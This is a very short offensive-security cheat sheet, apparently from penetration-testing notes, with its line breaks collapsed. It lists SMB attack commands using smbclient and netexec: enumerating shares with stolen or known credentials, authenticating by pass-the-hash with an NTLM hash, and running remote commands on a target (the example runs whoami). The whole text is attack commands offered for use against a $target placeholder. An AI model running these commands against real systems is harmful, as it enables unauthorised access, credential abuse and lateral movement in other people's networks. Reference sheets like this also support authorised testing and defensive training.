Access# With credentials# smbclient -U "$user%$pass" -L //$target/netexec smb $target --shares -u "$user" -p "$pass"Pass the hash# netexec smb $target -u "$user" -d . -H "$hash"RCE# netexec smb $target --shares -u "$user" -p "$pass" -x whoami